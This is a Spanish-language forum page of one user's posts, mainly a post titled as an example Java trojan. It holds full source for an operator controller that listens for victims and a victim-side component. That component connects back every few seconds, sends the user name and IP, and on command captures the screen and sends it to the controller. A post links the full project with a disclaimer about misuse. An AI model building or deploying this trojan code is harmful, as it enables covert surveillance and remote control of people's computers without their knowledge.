Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - AngelCruel

#21
Advertencia: no me hago responsable por el mal uso que le puedan dar a este programa.

codigo fuente:
 
http://sourceforge.net/projects/adsocks





Esta es la ventana para contruir el servdor.

#23
Java / un ejemplo de troyano en java
19 Julio 2010, 08:30 AM

Esta es la clase principal del cliente:

Código (java) [Seleccionar]
[co]deimport java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
import javax.swing.*;
import javax.swing.border.LineBorder;
import javax.swing.border.TitledBorder;
import javax.swing.table.*;

public class cliente extends JFrame implements Runnable, ActionListener {

   JPopupMenu menuContextual;
   static DefaultTableModel model;
   static JTable table;
   JButton ver;
   boolean ok = true;
   String[][] datosEquipos = new String[0][0];
   String[] tituloTable = new String[]{"Nombre Maquina", "IP", "Nombre de Usuario", "Puerto"};
   int indice, numeropuerto = 3277;
   String tip;
   JPanel panel, botones;
   JTextArea info = new JTextArea(4, 4);
   JButton Puerto;
   private RecursoClientes recurso;
   private Socket cliente;
   private ServerSocket servidor;
   private ObjectOutputStream salida;
   private ObjectInputStream entrada;
   private String nombre;
   private boolean conectado = false;
   Ingreso ingreso;

   public cliente() {
       ingreso = new Ingreso();
       ingreso.addWindowListener(new cerrar(this));
       ingreso.aceptar.addActionListener(this);
       ingreso.cancelar.addActionListener(this);
       ingreso.tcontraseña.setText("xxx");
       crearServidor();

       crearPanel();
       setTitle("Cliente");
       setSize(540, 380);
       setLocationRelativeTo(null);

       model = new DefaultTableModel(datosEquipos, tituloTable);
       table = new JTable(model);
       table.setSelectionMode(0);
       add(table, BorderLayout.CENTER);
       ver = new JButton("Ver escritorio");
       ver.addActionListener(this);
       Puerto.addActionListener(this);

       menuContextual = new JPopupMenu();
       menuContextual.add(ver);

       table.addMouseListener(
               new MouseAdapter() {  // clase interna anónima
                   // manejar evento de oprimir botón del ratón

                   public void mousePressed(MouseEvent evento) {
                       checkForTriggerEvent(evento);
                   }

                   // manejar evento de soltar el botón del ratón
                   public void mouseReleased(MouseEvent evento) {
                       int row = table.rowAtPoint(evento.getPoint());
                       System.out.println(row);
                       if (row != -1) {
                           table.changeSelection(row, 0, false, false);
                           checkForTriggerEvent(evento);
                       } else {
                           try {
                               table.clearSelection();
                               checkForTriggerEvent(null);
                           } catch (Exception ex) {
                               System.out.println("No a seleccionado nada");
                           }
                       }
                       indice = row;
                   }

                   // determinar si evento debe desencadenar el menú contextual
                   private void checkForTriggerEvent(MouseEvent evento) {
                       if (evento.isPopupTrigger()) {
                           menuContextual.show(evento.getComponent(), evento.getX(), evento.getY());
                       }
                   }
               } // fin de la clase interna anónima
               );

       setDefaultCloseOperation(this.EXIT_ON_CLOSE);
       setVisible(true);
   }

   public void crearServidor() {
       try {
           recurso = RecursoClientes.getInstance();
           servidor = new ServerSocket(numeropuerto);
       } catch (UnknownHostException ex) {
           ex.printStackTrace();
       } catch (IOException ex) {
           ex.printStackTrace();
       }
   }

   public void crearPanel() {
       Puerto = new JButton("Puerto");
       panel = new JPanel(new BorderLayout());
       FlowLayout flow = new FlowLayout();
       flow.setAlignment(FlowLayout.LEFT);
       botones = new JPanel(flow);
       panel.add("North", new JScrollPane(info));
       TitledBorder border = new TitledBorder(new LineBorder(Color.black), "", TitledBorder.RIGHT, TitledBorder.BOTTOM);
       panel.add("Center", new JSeparator());
       panel.add("South", botones);
       botones.add(Puerto);
       add(panel, BorderLayout.SOUTH);
   }

   public void run() {
       while (true) {
           info.append("\nEcuchando en el puerto: " + numeropuerto);
           try {
               info.append("\nEsperando un cliente");
               cliente = servidor.accept();
               info.append("\nIngreso un cliente");
           } catch (IOException ex) {
               //Logger.getLogger(Servidor.class.getName()).log(Level.SEVERE, null, ex);
               info.append("Ha ocurrido un error recibiendo la conexion con el cliente.\n");
               info.append("Este programa se cerrara ...\n");
               System.exit(1);
           }
           try {
               salida = new ObjectOutputStream(cliente.getOutputStream());
               salida.flush();
               entrada = new ObjectInputStream(cliente.getInputStream());
               nombre = (String) entrada.readObject();

               info.append("\nRecibido: " + nombre);

               if (nombre.equals("Nuevo")) {
                   this.setFocusable(false);
                   ingreso.setVisible(true);
                   do {
                       Thread.sleep(1000);
                   } while (ok);
               }
               if (!ok) {
                   nombre = (String) entrada.readObject();
               }
               salida.writeObject((Object) "xxx");
               Object[] newRow = {nombre, (String) entrada.readObject(), tip = (String) entrada.readObject()};
               model.addRow(newRow);
               conectado = true;
           } catch (Exception e) {
               //Logger.getLogger(Servidor.class.getName()).log(Level.SEVERE, null, ex);
               conectado = false;
           }

           if (conectado) {
               ManejadorCliente manejador = new ManejadorCliente(cliente, entrada, salida);
               manejador.setNombre(nombre);
               manejador.setIP(tip);
               this.addManejadorCliente(manejador);
               manejador.start();
               info.append("El cliente " + nombre + " se ha conectado.\n");
               info.append("Numero de clientes: " + recurso.size() + "\n");
           }
       }
   }

   public void actionPerformed(ActionEvent e) {
       if (e.getSource() == ver) {
           menuContextual.setVisible(false);
           ManejadorCliente manejador = recurso.getManejadorCliente(indice);
           manejador.Mensaje(1);
       }
       if (e.getSource() == ingreso.aceptar) {
           ok = false;
           ingreso.setVisible(false);
           try {
               salida.writeObject((Object) ingreso.tcontraseña.getText());
               salida.writeObject((Object) ingreso.tnombre.getText());
           } catch (IOException ex) {
               ex.printStackTrace();
           }
       }
       if (e.getSource() == Puerto) {
           numeropuerto = Integer.valueOf(JOptionPane.showInputDialog(this, "Ingrese el nuevo Puerto:", "Cambiar Puerto", JOptionPane.INFORMATION_MESSAGE));
           //cliente();
       }
   }

   private void addManejadorCliente(ManejadorCliente manejador) {
       recurso.addManejadorCliente(manejador);
   }

   @Override
   public void finalize() {
   }

   public static void eliminarMaq(String nombre, String ip) {
       for (int i = 0; i <= model.getRowCount() - 1; i++) {
           if (model.getValueAt(i, 0).equals(nombre) && model.getValueAt(i, 2).equals(ip)) {
               model.removeRow(i);
               break;
           }
       }
   }

   public static void main(String args[]) {
       cliente c = new cliente();
       Thread hilo = new Thread(c);
       hilo.start();
   }

   class cerrar extends WindowAdapter {

       Frame oframe;

       public cerrar(Frame miframe) {
           oframe = miframe;
       }

       public void windowClosing(WindowEvent ev) {
           oframe.setVisible(false);
       }
   }
}


y esta es la clase principal del servidor:

Código (java) [Seleccionar]


import java.awt.*;
import java.awt.image.*;
import java.io.*;
import java.net.*;
import java.util.*;
import java.util.zip.*;
import javax.imageio.*;

public class svd implements Runnable {

    String ipExterna = "0.0.0.0";
    Properties pro;
    Scanner scanner;
    Formatter archivo;
    int opc = 0;
    String ip = "localhost", pass = "xxx";
    private boolean conectado = false;
    private Thread hilo;
    Socket soc;
    ObjectOutputStream output;
    ObjectInputStream input;

    public void conectar() {
        try {
            soc = new Socket(ip, 3277);
            output = new ObjectOutputStream(soc.getOutputStream());
            output.flush();
            input = new ObjectInputStream(soc.getInputStream());
            conectado = true;
        } catch (IOException ex) {
            System.out.println("Error al conectar");
            conectado = false;
        }
    }

    public svd() {
        pro = System.getProperties();
        hilo = new Thread(this);
        hilo.start();
    }

    public void run() {
        while (true) {
            conectar();
            if (conectado) {
                try {
                    try {
                        scanner = new Scanner(new File("nombre.txt"));
                    } catch (FileNotFoundException ex) {
                        enviar((Object) "Nuevo");
                        String s = null;
                        while (true) {
                            s = (String) input.readObject();
                            if (s.equals(pass)) {
                                break;
                            }
                        }
                        archivo = new Formatter("nombre.txt");
                        archivo.format("%s", (String) input.readObject());
                        archivo.flush();
                        archivo = null;
                    }
                    scanner = new Scanner(new File("nombre.txt"));
                    enviar((Object) scanner.next());
                    String by;
                    while (true) {
                        by = (String) input.readObject();
                        if (by.equals(pass)) {
                            break;
                        }
                    }
                    enviar((Object) pro.getProperty("user.name"));
                    enviar((Object) ipExterna);

                    int salir = 0;
                    do {
                        try {
                            opc = (Integer) input.readObject();
                            switch (opc) {
                                case 1:
                                    output.writeObject((Object) 1);
                                    Rectangle rectangleTam = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
                                    try {
                                        Robot robot = new Robot();
                                        BufferedImage bufferedImage = robot.createScreenCapture(rectangleTam);
                                        ByteArrayOutputStream salidaImagen = new ByteArrayOutputStream();
                                        ImageIO.write(bufferedImage, "jpg", salidaImagen);
                                        byte[] bytesImagen = salidaImagen.toByteArray();

                                        GZIPOutputStream gzipout = new GZIPOutputStream(soc.getOutputStream());
                                        ObjectOutputStream oos = new ObjectOutputStream(gzipout);
                                        oos.writeObject(bytesImagen);
                                        gzipout.finish();
                                    } catch (AWTException e) {
                                        e.printStackTrace();
                                    } // procesar los problemas que pueden ocurrir al enviar el objeto
                                    catch (IOException io) {
                                        io.printStackTrace();
                                    }
                                    break;
                                case 10:
                                    salir = 10;
                                    break;
                            }
                        } catch (NumberFormatException ev) {
                            ev.printStackTrace();
                            break;
                        } catch (ClassCastException ec) {
                            ec.printStackTrace();
                            break;
                        }
                    } while (salir != 10);

                } catch (Exception e) {
                    e.printStackTrace();
                    try {
                        output.close();
                        input.close();
                        soc.close();
                    } catch (IOException ex) {
                        ex.printStackTrace();
                    }
                }
            }

            try {
                hilo.sleep(3000);
            } catch (InterruptedException ex) {
                ex.printStackTrace();
            }
        }
    }

    public void enviar(Object ob) {
        try {
            output.writeObject(ob);
            output.flush();
        } catch (IOException ex) {
            ex.printStackTrace();
        }
    }

    /*public static void main(String args[]) {
    new svd();
    }*/
    @Override
    public void finalize() {
        try {
            input.close();
            output.close();
            soc.close();

        } catch (IOException ex) {
            //Logger.getLogger(Orquestador.class.getName()).log(Level.SEVERE, null, ex);
            ex.printStackTrace();
            input = null;
            output = null;
            soc = null;
        }
        hilo = null;
    }
}


para el codigo completo esta en: http://sourceforge.net/projects/adsocks/